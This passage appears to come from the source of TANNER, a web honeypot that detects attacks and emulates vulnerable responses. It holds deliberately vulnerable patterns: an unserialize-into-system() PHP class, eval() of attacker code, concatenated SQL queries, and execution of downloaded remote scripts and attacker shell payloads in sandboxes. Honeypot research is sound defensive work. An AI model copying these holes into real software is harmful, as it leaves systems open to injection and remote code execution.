    "content": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; proximic; +http://www.proximic.com/info/spider.php)\nMozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\nClickagy Intelligence Bot v2\nSirdataBot\nMozilla/5.0 (compatible; Cliqzbot/1.0 +http://cliqz.com/company/cliqzbot)\nA6-Indexer/1.0 (http://www.a6corp.com/a6-web-scraping-policy/)\nMozilla/5.0 (compatible; BomboraBot/1.0; +http://www.bombora.com/bot)\nMozilla/5.0 (compatible; AhrefsBot/5.1; +http://ahrefs.com/robot/)\nMozilla/5.0 (compatible; Genieo/1.0 http://www.genieo.com/webfilter.html)\nMozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\nScreaming Frog SEO Spider/9.2\nMozilla/5.0 (compatible; Cliqzbot/2.0; +http://cliqz.com/company/cliqzbot)\nCCBot/2.0 (http://commoncrawl.org/faq/)\nMozilla/5.0 (iPhone; CPU iPhone OS 60 like Mac OS X) AppleWebKit/536.26 (KHTML like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\nYisouSpider\nGooglebot/2.1 (+http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Cliqzbot/1.0; +http://cliqz.com/company/cliqzbot)\nGooglebot/2.1 (+http://www.googlebot.com/bot.html)\nMozilla/5.0 (compatible; 008/0.85; http://www.80legs.com/webcrawler.html) Gecko/2008032620\nMozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nGooglebot-Video/1.0\nSAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; Googlebot/2.1;+http://www.google.com/bot.html)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://www.tropicdesigns.net)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 41 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; URLAppendBot/1.0; +http://www.profound.net/urlappendbot.html)\nDoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nSogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)\nMozilla/5.0 (iPhone; CPU iPhone OS 60 like Mac OS X) AppleWebKit/536.26 (KHTML like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; AhrefsBot/5.2; +http://ahrefs.com/robot/)\nMozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; DomainAppender /1.0; +http://www.profound.net/domainappender)\nmsnbot/2.0b (+http://search.msn.com/msnbot.htm)\nmsnbot-media/1.1 (+http://search.msn.com/msnbot.htm)\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider\nMozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)\nMozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 41 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7 (compatible; Mediapartners-Google/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; AhrefsBot/5.0; +http://ahrefs.com/robot/)\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider\nMozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; linkdexbot/2.2; +http://www.linkdex.com/bots/)\nMozilla/5.0 (compatible; proximic; +http://www.proximic.com)\nMozilla/5.0 (iPhone; CPU iPhone OS 83 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\nMozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php+)\nDuckDuckBot/1.0; (+http://duckduckgo.com/duckduckbot.html)\nia_archiver (+http://www.alexa.com/site/help/webmasters; crawler@alexa.com)"
  },
  {
    "path": "tanner/data/db_config.json",
    "content": "{\n  \"name\": \"test1\",\n  \"tables\": [\n    {\n      \"table_name\": \"users\",\n      \"schema\": \"CREATE TABLE users (id INTEGER PRIMARY KEY, username text, email text, password text);\",\n      \"data_tokens\": \"I,L,E,P\"\n    },\n    {\n      \"table_name\": \"comments\",\n      \"schema\": \"CREATE TABLE comments (comment_id INTEGER PRIMARY KEY, comment text);\",\n      \"data_tokens\": \"I,T\"\n    }\n  ]\n}"
  },
  {
    "path": "tanner/dorks_manager.py",
    "content": "import logging\nimport math\nimport os\nimport pickle\nimport random\nimport re\nimport uuid\n\nimport aioredis\n\nfrom tanner import config\nfrom tanner.utils import patterns\n\n\nclass DorksManager:\n    dorks_key = uuid.uuid3(uuid.NAMESPACE_DNS, \"dorks\").hex\n    user_dorks_key = uuid.uuid3(uuid.NAMESPACE_DNS, \"user_dorks\").hex\n\n    def __init__(self):\n        self.logger = logging.getLogger(\"tanner.dorks_manager.DorksManager\")\n        self.init_done = False\n\n    @staticmethod\n    async def push_init_dorks(file_name, redis_key, redis_client):\n        dorks = None\n        if os.path.exists(file_name):\n            with open(file_name, \"rb\") as dorks_file:\n                dorks = pickle.load(dorks_file)\n        if dorks:\n            if isinstance(dorks, str):\n                dorks = dorks.split()\n            if isinstance(dorks, set):\n                dorks = [x for x in dorks if x is not None]\n            await redis_client.sadd(redis_key, *dorks)\n\n    async def extract_path(self, path, redis_client):\n        extracted = re.match(patterns.QUERY, path)\n        if extracted:\n            extracted = extracted.group(0)\n            try:\n                await redis_client.sadd(self.user_dorks_key, *[extracted])\n            except aioredis.ConnectionError as connection_error:\n                self.logger.exception(\"Problem with redis connection: %s\", connection_error)\n\n    async def init_dorks(self, redis_client):\n        try:\n            transaction = redis_client.multi()\n            dorks_exist = transaction.exists(self.dorks_key)\n            user_dorks_exist = transaction.exists(self.user_dorks_key)\n\n            await transaction.execute()\n        except (aioredis.RedisError, aioredis.ConnectionError) as redis_error:\n            self.logger.exception(\"Problem with transaction: %s\", redis_error)\n        else:\n            dorks_existed = await dorks_exist\n            user_dorks_existed = await user_dorks_exist\n\n            if not dorks_existed:\n                await self.push_init_dorks(config.TannerConfig.get(\"DATA\", \"dorks\"), self.dorks_key, redis_client)\n            if not user_dorks_existed:\n                await self.push_init_dorks(\n                    config.TannerConfig.get(\"DATA\", \"user_dorks\"), self.user_dorks_key, redis_client\n                )\n\n            self.init_done = True\n\n    async def choose_dorks(self, redis_client):\n        if not self.init_done:\n            await self.init_dorks(redis_client)\n        chosen_dorks = []\n        max_dorks = 50\n        try:\n            transaction = redis_client.multi()\n            dorks = transaction.smembers(self.dorks_key, encoding=\"utf-8\")\n            user_dorks = transaction.smembers(self.user_dorks_key, encoding=\"utf-8\")\n\n            await transaction.execute()\n        except (aioredis.RedisError, aioredis.ConnectionError) as redis_error:\n            self.logger.exception(\"Problem with transaction: %s\", redis_error)\n        else:\n            dorks = await dorks\n            user_dorks = await user_dorks\n            chosen_dorks.extend(random.sample(dorks, random.randint(math.floor(0.5 * max_dorks), max_dorks)))\n            try:\n                if max_dorks > len(user_dorks):\n                    max_dorks = len(user_dorks)\n                chosen_dorks.extend(random.sample(user_dorks, random.randint(math.floor(0.5 * max_dorks), max_dorks)))\n            except TypeError:\n                pass\n            return chosen_dorks\n"
  },
  {
    "path": "tanner/emulators/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/emulators/base.py",
    "content": "import mimetypes\nimport re\nimport urllib.parse\nimport yarl\n\nfrom tanner import __version__ as tanner_version\nfrom tanner.config import TannerConfig\nfrom tanner.emulators import (\n    lfi,\n    rfi,\n    sqli,\n    xss,\n    cmd_exec,\n    php_code_injection,\n    php_object_injection,\n    crlf,\n    xxe_injection,\n    template_injection,\n)  # noqa\nfrom tanner.utils import patterns\n\n\nclass BaseHandler:\n    def __init__(self, base_dir, db_name, loop=None):\n        self.emulator_enabled = {\n            \"rfi\": TannerConfig.get(\"EMULATOR_ENABLED\", \"rfi\"),\n            \"sqli\": TannerConfig.get(\"EMULATOR_ENABLED\", \"sqli\"),\n            \"lfi\": TannerConfig.get(\"EMULATOR_ENABLED\", \"lfi\"),\n            \"xss\": TannerConfig.get(\"EMULATOR_ENABLED\", \"xss\"),\n            \"cmd_exec\": TannerConfig.get(\"EMULATOR_ENABLED\", \"cmd_exec\"),\n            \"php_code_injection\": TannerConfig.get(\"EMULATOR_ENABLED\", \"php_code_injection\"),\n            \"php_object_injection\": TannerConfig.get(\"EMULATOR_ENABLED\", \"php_object_injection\"),\n            \"crlf\": TannerConfig.get(\"EMULATOR_ENABLED\", \"crlf\"),\n            \"xxe_injection\": TannerConfig.get(\"EMULATOR_ENABLED\", \"xxe_injection\"),\n            \"template_injection\": TannerConfig.get(\"EMULATOR_ENABLED\", \"template_injection\"),\n        }\n\n        self.emulators = {\n            \"rfi\": rfi.RfiEmulator(base_dir, loop=loop, allow_insecure=TannerConfig.get(\"RFI\", \"allow_insecure\"))\n            if self.emulator_enabled[\"rfi\"]\n            else None,\n            \"lfi\": lfi.LfiEmulator() if self.emulator_enabled[\"lfi\"] else None,\n            \"xss\": xss.XssEmulator() if self.emulator_enabled[\"xss\"] else None,\n            \"sqli\": sqli.SqliEmulator(db_name, base_dir) if self.emulator_enabled[\"sqli\"] else None,\n            \"cmd_exec\": cmd_exec.CmdExecEmulator() if self.emulator_enabled[\"cmd_exec\"] else None,\n            \"php_code_injection\": php_code_injection.PHPCodeInjection(loop)\n            if self.emulator_enabled[\"php_code_injection\"]\n            else None,\n            \"php_object_injection\": php_object_injection.PHPObjectInjection(loop)\n            if self.emulator_enabled[\"php_object_injection\"]\n            else None,\n            \"crlf\": crlf.CRLFEmulator() if self.emulator_enabled[\"crlf\"] else None,\n            \"xxe_injection\": xxe_injection.XXEInjection(loop) if self.emulator_enabled[\"xxe_injection\"] else None,\n            \"template_injection\": template_injection.TemplateInjection(loop)\n            if self.emulator_enabled[\"template_injection\"]\n            else None,\n        }\n\n        self.get_emulators = [\n            \"sqli\",\n            \"rfi\",\n            \"lfi\",\n            \"xss\",\n            \"php_code_injection\",\n            \"php_object_injection\",\n            \"cmd_exec\",\n            \"crlf\",\n            \"xxe_injection\",\n            \"template_injection\",\n        ]\n        self.post_emulators = [\n            \"sqli\",\n            \"rfi\",\n            \"lfi\",\n            \"xss\",\n            \"php_code_injection\",\n            \"php_object_injection\",\n            \"cmd_exec\",\n            \"crlf\",\n            \"xxe_injection\",\n            \"template_injection\",\n        ]\n        self.cookie_emulators = [\"sqli\", \"php_object_injection\"]\n\n    def extract_get_data(self, path):\n        \"\"\"\n        Return all the GET parameter\n        :param path (str): The URL path from which GET parameters are to be extracted\n        :return: A MultiDictProxy object containg name and value of parameters\n        \"\"\"\n        path = urllib.parse.unquote(path)\n        encodings = [(\"&&\", \"%26%26\"), (\";\", \"%3B\")]\n        for value, encoded_value in encodings:\n            path = path.replace(value, encoded_value)\n        get_data = yarl.URL(path).query\n        return get_data\n\n    async def get_emulation_result(self, session, data, target_emulators):\n        \"\"\"\n        Return emulation result for the vulnerabilty of highest order\n        :param session (Session object): Current active session\n        :param data (MultiDictProxy object): Data to be checked\n        :param target_emulator (list): Emulators against which data is to be checked\n        :return: A dict object containing name, order and paylod to be injected for vulnerability\n        \"\"\"\n        detection = dict(name=\"unknown\", order=0)\n        attack_params = {}\n        for param_id, param_value in data.items():\n            for emulator in target_emulators:\n                if TannerConfig.get(\"EMULATOR_ENABLED\", emulator):\n                    possible_detection = self.emulators[emulator].scan(param_value) if param_value else None\n                    if possible_detection:\n                        if detection[\"order\"] < possible_detection[\"order\"]:\n                            detection = possible_detection\n                        if emulator not in attack_params:\n                            attack_params[emulator] = []\n                        attack_params[emulator].append(dict(id=param_id, value=param_value))\n\n        if detection[\"name\"] in self.emulators:\n            emulation_result = await self.emulators[detection[\"name\"]].handle(attack_params[detection[\"name\"]], session)\n            if emulation_result:\n                detection[\"payload\"] = emulation_result\n\n        return detection\n\n    async def handle_post(self, session, data):\n        post_data = data[\"post_data\"]\n\n        detection = await self.get_emulation_result(session, post_data, self.post_emulators)\n        return detection\n\n    async def handle_cookies(self, session, data):\n        cookies = data[\"cookies\"]\n\n        detection = await self.get_emulation_result(session, cookies, self.cookie_emulators)\n        return detection\n\n    async def handle_get(self, session, data):\n        path = data[\"path\"]\n        get_data = self.extract_get_data(path)\n        detection = dict(name=\"unknown\", order=0)\n        # dummy for wp-content\n        if re.match(patterns.WORD_PRESS_CONTENT, path):\n            detection = {\"name\": \"wp-content\", \"order\": 1}\n        elif re.match(patterns.INDEX, path):\n            detection = {\"name\": \"index\", \"order\": 1}\n        # check attacks against get parameters\n        possible_get_detection = await self.get_emulation_result(session, get_data, self.get_emulators)\n        if possible_get_detection and detection[\"order\"] < possible_get_detection[\"order\"]:\n            detection = possible_get_detection\n        # check attacks against cookie values\n        possible_cookie_detection = await self.handle_cookies(session, data)\n        if possible_cookie_detection and detection[\"order\"] < possible_cookie_detection[\"order\"]:\n            detection = possible_cookie_detection\n\n        return detection\n\n    @staticmethod\n    def set_injectable_page(session):\n        injectable_page = None\n        if session:\n            for page in reversed(session.paths):\n                if mimetypes.guess_type(page[\"path\"])[0] == \"text/html\":\n                    injectable_page = page[\"path\"]\n\n        return injectable_page\n\n    async def emulate(self, data, session):\n        if data[\"method\"] == \"POST\":\n            detection = await self.handle_post(session, data)\n        else:\n            detection = await self.handle_get(session, data)\n\n        if \"payload\" not in detection:\n            detection[\"type\"] = 1\n        elif \"payload\" in detection:\n            if \"status_code\" not in detection[\"payload\"]:\n                detection[\"type\"] = 2\n                if detection[\"payload\"][\"page\"]:\n                    injectable_page = self.set_injectable_page(session)\n                    if injectable_page is None:\n                        injectable_page = \"/index.html\"\n                    detection[\"payload\"][\"page\"] = injectable_page\n            else:\n                detection[\"type\"] = 3\n        detection[\"version\"] = tanner_version\n        return detection\n\n    async def handle(self, data, session):\n        detection = await self.emulate(data, session)\n        return detection\n"
  },
  {
    "path": "tanner/emulators/cmd_exec.py",
    "content": "from tanner.utils import aiodocker_helper\nfrom tanner.utils import patterns\n\n\nclass CmdExecEmulator:\n    def __init__(self):\n        self.helper = aiodocker_helper.AIODockerHelper()\n\n    async def get_cmd_exec_results(self, payload):\n        cmd = [\"sh\", \"-c\", payload]\n\n        execute_result = await self.helper.execute_cmd(cmd)\n        result = dict(value=execute_result, page=True)\n        return result\n\n    def scan(self, value):\n        detection = None\n        if patterns.CMD_ATTACK.match(value):\n            detection = dict(name=\"cmd_exec\", order=3)\n        return detection\n\n    async def handle(self, attack_params, session=None):\n\n        result = await self.get_cmd_exec_results(attack_params[0][\"value\"])\n        return result\n"
  },
  {
    "path": "tanner/emulators/crlf.py",
    "content": "from tanner.utils import patterns\n\n\nclass CRLFEmulator:\n    def scan(self, value):\n        detection = None\n        if patterns.CRLF_ATTACK.match(value):\n            detection = dict(name=\"crlf\", order=2)\n        return detection\n\n    def get_crlf_results(self, attack_params):\n        headers = {attack_params[0][\"id\"]: attack_params[0][\"value\"]}\n        return headers\n\n    async def handle(self, attack_params, session):\n        result = self.get_crlf_results(attack_params)\n        return dict(value=\"\", page=True, headers=result)\n"
  },
  {
    "path": "tanner/emulators/lfi.py",
    "content": "import shlex\n\nfrom tanner.utils import aiodocker_helper\nfrom tanner.utils import patterns\n\n\nclass LfiEmulator:\n    def __init__(self):\n        self.helper = aiodocker_helper.AIODockerHelper()\n\n    async def get_lfi_result(self, file_path):\n        # Terminate the string with NULL byte\n        if \"\\x00\" in file_path:\n            file_path = file_path[: file_path.find(\"\\x00\")]\n\n        cmd = [\"sh\", \"-c\", \"cat {file}\".format(file=shlex.quote(file_path))]\n        execute_result = await self.helper.execute_cmd(cmd)\n\n        if execute_result:\n            # Nulls are not printable, so replace it with another line-ender\n            execute_result = execute_result.replace(\"\\x00\", \"\\n\")\n        return execute_result\n\n    def scan(self, value):\n        detection = None\n        if patterns.LFI_ATTACK.match(value):\n            detection = dict(name=\"lfi\", order=2)\n        return detection\n\n    async def handle(self, attack_params, session=None):\n\n        lfi_result = await self.get_lfi_result(attack_params[0][\"value\"])\n        result = dict(value=lfi_result, page=False)\n        return result\n"
  },
  {
    "path": "tanner/emulators/mysqli.py",
    "content": "import logging\nfrom tanner.utils import mysql_db_helper\n\n\nclass MySQLIEmulator:\n    def __init__(self, db_name):\n        self.logger = logging.getLogger(\"tanner.mysqli_emulator\")\n        self.db_name = db_name\n        self.helper = mysql_db_helper.MySQLDBHelper()\n\n    async def setup_db(self):\n        db_exists = await self.helper.check_db_exists(self.db_name)\n        if not db_exists:\n            await self.helper.setup_db_from_config(self.db_name)\n        query_map = await self.helper.create_query_map(self.db_name)\n        return query_map\n\n    async def create_attacker_db(self, session):\n        attacker_db_name = \"attacker_\" + session.sess_uuid.hex\n        attacker_db = await self.helper.copy_db(self.db_name, attacker_db_name)\n        session.associate_db(attacker_db)\n        return attacker_db\n\n    async def execute_query(self, query, db_name):\n        result = []\n        conn = await self.helper.connect_to_db()\n        cursor = await conn.cursor()\n        await cursor.execute(\"USE {db_name}\".format(db_name=db_name))\n        try:\n            await cursor.execute(query)\n            rows = await cursor.fetchall()\n            for row in rows:\n                result.append(list(row))\n        except Exception as mysql_error:\n            self.logger.debug(\"Error while executing query: %s\", mysql_error)\n            result = str(mysql_error)\n        return result\n"
  },
  {
    "path": "tanner/emulators/php_code_injection.py",
    "content": "import asyncio\nimport logging\n\nfrom tanner.utils.php_sandbox_helper import PHPSandboxHelper\nfrom tanner.utils import patterns\n\n\nclass PHPCodeInjection:\n    def __init__(self, loop=None):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.logger = logging.getLogger(\"tanner.php_code_injection\")\n        self.helper = PHPSandboxHelper(self._loop)\n\n    async def get_injection_result(self, code):\n        vul_code = \"<?php eval('$a = {code}'); ?>\".format(code=code)\n        self.logger.debug(\"Getting the code injection results of %s from php sandbox\", code)\n        code_injection_result = await self.helper.get_result(vul_code)\n\n        return code_injection_result\n\n    def scan(self, value):\n        detection = None\n        if patterns.PHP_CODE_INJECTION.match(value):\n            detection = dict(name=\"php_code_injection\", order=3)\n        return detection\n\n    async def handle(self, attack_params, session=None):\n        result = await self.get_injection_result(attack_params[0][\"value\"])\n        if not result or \"stdout\" not in result:\n            self.logger.exception(\"Error while getting the injection results from php sandbox..\")\n            return dict(status_code=504)\n        return dict(value=result[\"stdout\"], page=False)\n"
  },
  {
    "path": "tanner/emulators/php_object_injection.py",
    "content": "import asyncio\nimport logging\n\nfrom tanner.utils.php_sandbox_helper import PHPSandboxHelper\nfrom tanner.utils import patterns\n\n\nclass PHPObjectInjection:\n    def __init__(self, loop=None):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.logger = logging.getLogger(\"tanner.php_object_injection\")\n        self.helper = PHPSandboxHelper(self._loop)\n\n    async def get_injection_result(self, code):\n        \"\"\"\n        Injects the code from attacker to vulnerable code and get emulation results from php sandbox.\n        :param code (str): Input payload from attacker\n        :return: object_injection_result (dict): file_md5 (md5 hash), stdout (injection result) as keys.\n        \"\"\"\n\n        vul_code = (\n            \"<?php \"\n            \"class ObjectInjection { \"\n            \"public $insert; \"\n            \"public function __destruct() { \"\n            \"$var = system($this->insert, $ret);\"\n            \"print $var[0];\"\n            \"$this->date = date('d-m-y');\"\n            \"$this->filename = '/tmp/logs/' . $this->date;\"\n            \"file_put_contents($this->filename, $var[0], FILE_APPEND);\"\n            \"}} \"\n            \"$cmd = unserialize('%s');\"\n            \"?>\" % code\n        )\n\n        self.logger.debug(\"Getting the object injection results of %s from php sandbox\", code)\n        object_injection_result = await self.helper.get_result(vul_code)\n\n        return object_injection_result\n\n    def scan(self, value):\n        \"\"\"\n        Scans the input payload to detect attack using regex\n        :param value (str): code from attacker\n        :return: detection (dict): name (attack name), order (attack order) as keys\n        \"\"\"\n\n        detection = None\n        if patterns.PHP_OBJECT_INJECTION.match(value):\n            detection = dict(name=\"php_object_injection\", order=3)\n        return detection\n\n    async def handle(self, attack_params):\n        \"\"\"\n        Handler of emulator\n        :param attack_params (list): contains dicts as elements with id and value (payload from attacker) as keys\n        :return: (dict): value (result of emulator), page (if set to true the payload will be injected to index.html\n        itself) as keys.\n        \"\"\"\n\n        result = await self.get_injection_result(attack_params[0][\"value\"])\n        if not result or \"stdout\" not in result:\n            self.logger.exception(\"Error while getting the injection results from php sandbox..\")\n            return dict(status_code=504)\n        return dict(value=result[\"stdout\"], page=False)\n"
  },
  {
    "path": "tanner/emulators/rfi.py",
    "content": "import asyncio\nimport ftplib\nimport hashlib\nimport logging\nimport os\nimport re\nimport ssl\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\n\nimport aiohttp\nimport yarl\n\nfrom tanner.utils.php_sandbox_helper import PHPSandboxHelper\nfrom tanner.utils import patterns\n\n\nclass RfiEmulator:\n    def __init__(self, root_dir, loop=None, allow_insecure=False):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.script_dir = os.path.join(root_dir, \"files\")\n        self.logger = logging.getLogger(\"tanner.rfi_emulator.RfiEmulator\")\n        self.helper = PHPSandboxHelper(self._loop)\n        self.allow_insecure = allow_insecure\n\n    async def download_file(self, path):\n        file_name = None\n        url = re.match(patterns.REMOTE_FILE_URL, path)\n\n        if url is None:\n            return None\n        url = url.group(1)\n        url = yarl.URL(url)\n\n        if not os.path.exists(self.script_dir):\n            os.makedirs(self.script_dir)\n\n        if url.scheme == \"ftp\":\n            pool = ThreadPoolExecutor()\n            ftp_future = self._loop.run_in_executor(pool, self.download_file_ftp, url)\n            file_name = await ftp_future\n\n        else:\n            ssl_context = False if self.allow_insecure else ssl.create_default_context()\n            try:\n                async with aiohttp.ClientSession(loop=self._loop) as client:\n                    async with await client.get(url, ssl=ssl_context) as resp:\n                        data = await resp.text()\n            except aiohttp.ClientError as client_error:\n                self.logger.exception(\"Error during downloading the rfi script %s\", client_error)\n            else:\n                tmp_filename = url.name + str(time.time())\n                file_name = hashlib.md5(tmp_filename.encode(\"utf-8\")).hexdigest()\n                with open(os.path.join(self.script_dir, file_name), \"bw\") as rfile:\n                    self.logger.debug(\"Saving the RFI script %s\", os.path.join(self.script_dir, file_name))\n                    rfile.write(data.encode(\"utf-8\"))\n        return file_name\n\n    def download_file_ftp(self, url):\n        host = url.host\n        ftp_path = url.path.rsplit(\"/\", 1)[0][1:]\n        name = url.name\n        try:\n            ftp = ftplib.FTP(host)\n            ftp.login()\n            ftp.cwd(ftp_path)\n            tmp_filename = name + str(time.time())\n            file_name = hashlib.md5(tmp_filename.encode(\"utf-8\")).hexdigest()\n            with open(os.path.join(self.script_dir, file_name), \"wb\") as ftp_script:\n                self.logger.debug(\"Saving the FTP file as %s\", os.path.join(self.script_dir, file_name))\n                ftp.retrbinary(\"RETR %s\" % name, ftp_script.write)\n        except ftplib.all_errors as ftp_errors:\n            self.logger.exception(\"Problem with ftp download %s\", ftp_errors)\n            return None\n        else:\n            return file_name\n\n    async def get_rfi_result(self, path):\n        rfi_result = None\n        await asyncio.sleep(1)\n        self.logger.info(\"Downloading the file has started from %s\", path)\n        file_name = await self.download_file(path)\n        if file_name is None:\n            return rfi_result\n        with open(os.path.join(self.script_dir, file_name), \"br\") as script:\n            script_data = script.read()\n\n        rfi_result = await self.helper.get_result(script_data)\n\n        return rfi_result\n\n    def scan(self, value):\n        detection = None\n        if patterns.RFI_ATTACK.match(value):\n            detection = dict(name=\"rfi\", order=2)\n        return detection\n\n    async def handle(self, attack_params, session=None):\n        result = await self.get_rfi_result(attack_params[0][\"value\"])\n        if not result or \"stdout\" not in result:\n            return dict(value=\"\", page=True)\n        else:\n            return dict(value=result[\"stdout\"], page=False)\n"
  },
  {
    "path": "tanner/emulators/sqli.py",
    "content": "import logging\nimport pylibinjection\n\nfrom tanner.config import TannerConfig\nfrom tanner.emulators import mysqli, sqlite\n\n\nclass SqliEmulator:\n    def __init__(self, db_name, working_dir):\n        self.logger = logging.getLogger(\"tanner.sqli_emulator\")\n        if TannerConfig.get(\"SQLI\", \"type\") == \"MySQL\":\n            self.sqli_emulator = mysqli.MySQLIEmulator(db_name)\n        else:\n            self.sqli_emulator = sqlite.SQLITEEmulator(db_name, working_dir)\n\n        self.query_map = None\n\n    def scan(self, value):\n        detection = None\n        payload = bytes(value, \"utf-8\")\n        sqli = pylibinjection.detect_sqli(payload)\n        if int(sqli[\"sqli\"]):\n            detection = dict(name=\"sqli\", order=2)\n        return detection\n\n    def map_query(self, attack_value):\n        db_query = None\n        param = attack_value[\"id\"]\n        param_value = attack_value[\"value\"].replace(\"'\", \" \")\n        tables = []\n        for table, columns in self.query_map.items():\n            for column in columns:\n                if param == column[\"name\"]:\n                    tables.append(dict(table_name=table, column=column))\n\n        if tables:\n            if tables[0][\"column\"][\"type\"] == \"INTEGER\":\n                db_query = \"SELECT * from \" + tables[0][\"table_name\"] + \" WHERE \" + param + \"=\" + param_value + \";\"\n            else:\n                db_query = \"SELECT * from \" + tables[0][\"table_name\"] + \" WHERE \" + param + '=\"' + param_value + '\";'\n\n        return db_query\n\n    async def get_sqli_result(self, attack_value, attacker_db):\n        db_query = self.map_query(attack_value)\n        if db_query is None:\n            if TannerConfig.get(\"SQLI\", \"type\") == \"MySQL\":\n                error_result = \"You have an error in your SQL syntax; check the manual\\\n                                that corresponds to your MySQL server version for the\\\n                                right syntax to use near {} at line 1\".format(\n                    attack_value[\"id\"]\n                )\n            else:\n                error_result = \"SQL ERROR: near {}: syntax error\".format(attack_value[\"id\"])\n\n            self.logger.debug(\"Error while executing: %s\", error_result)\n            result = dict(value=error_result, page=True)\n        else:\n            execute_result = await self.sqli_emulator.execute_query(db_query, attacker_db)\n            if isinstance(execute_result, list):\n                execute_result = \" \".join([str(x) for x in execute_result])\n            result = dict(value=execute_result, page=True)\n        return result\n\n    async def handle(self, attack_params, session):\n        if self.query_map is None:\n            self.query_map = await self.sqli_emulator.setup_db()\n        attacker_db = await self.sqli_emulator.create_attacker_db(session)\n        result = await self.get_sqli_result(attack_params[0], attacker_db)\n        return result\n"
  },
  {
    "path": "tanner/emulators/sqlite.py",
    "content": "import os\nimport sqlite3\nimport logging\n\nfrom tanner.utils import sqlite_db_helper\n\n\nclass SQLITEEmulator:\n    def __init__(self, db_name, working_dir):\n        self.logger = logging.getLogger(\"tanner.sqlite_emulator\")\n        self.db_name = db_name\n        self.working_dir = os.path.join(working_dir, \"db/\")\n        self.helper = sqlite_db_helper.SQLITEDBHelper()\n\n    async def setup_db(self):\n        if not os.path.exists(self.working_dir):\n            os.makedirs(self.working_dir)\n        db = os.path.join(self.working_dir, self.db_name)\n        if not os.path.exists(db):\n            await self.helper.setup_db_from_config(self.working_dir, self.db_name)\n        query_map = self.helper.create_query_map(self.working_dir, self.db_name)\n        return query_map\n\n    async def create_attacker_db(self, session):\n        attacker_db_name = \"attacker_\" + session.sess_uuid.hex\n        attacker_db = self.helper.copy_db(self.db_name, attacker_db_name, self.working_dir)\n        session.associate_db(attacker_db)\n        return attacker_db\n\n    async def execute_query(self, query, db):\n        result = []\n        conn = sqlite3.connect(db)\n        cursor = conn.cursor()\n        try:\n            for row in cursor.execute(query):\n                result.append(list(row))\n        except sqlite3.OperationalError as sqlite_error:\n            self.logger.debug(\"Error while executing query: %s\", sqlite_error)\n            result = str(sqlite_error)\n        return result\n"
  },
  {
    "path": "tanner/emulators/template_injection.py",
    "content": "import asyncio\nimport logging\n\nfrom urllib.parse import unquote\nfrom tanner.utils import patterns\nfrom tanner.config import TannerConfig\nfrom tanner.utils.aiodocker_helper import AIODockerHelper\n\n\nclass TemplateInjection:\n    def __init__(self, loop=None):\n        self._loop = loop if loop is not None else asyncio.get_event_loop()\n        self.logger = logging.getLogger(\"tanner.template_injection\")\n        self.docker_helper = AIODockerHelper()\n        self.remote_path = TannerConfig.get(\"REMOTE_DOCKERFILE\", \"GITHUB\")\n\n    async def get_injection_result(self, payload):\n        execute_result = None\n\n        # Build the custom image\n        await self.docker_helper.setup_host_image(remote_path=self.remote_path, tag=\"template_injection:latest\")\n\n        if patterns.TEMPLATE_INJECTION_TORNADO.match(payload):\n            work_dir = TannerConfig.get(\"DATA\", \"tornado\")\n\n            with open(work_dir, \"r\") as f:\n                tornado_template = f.read().format(payload)\n\n            cmd = [\"python3\", \"-c\", tornado_template]\n            execute_result = await 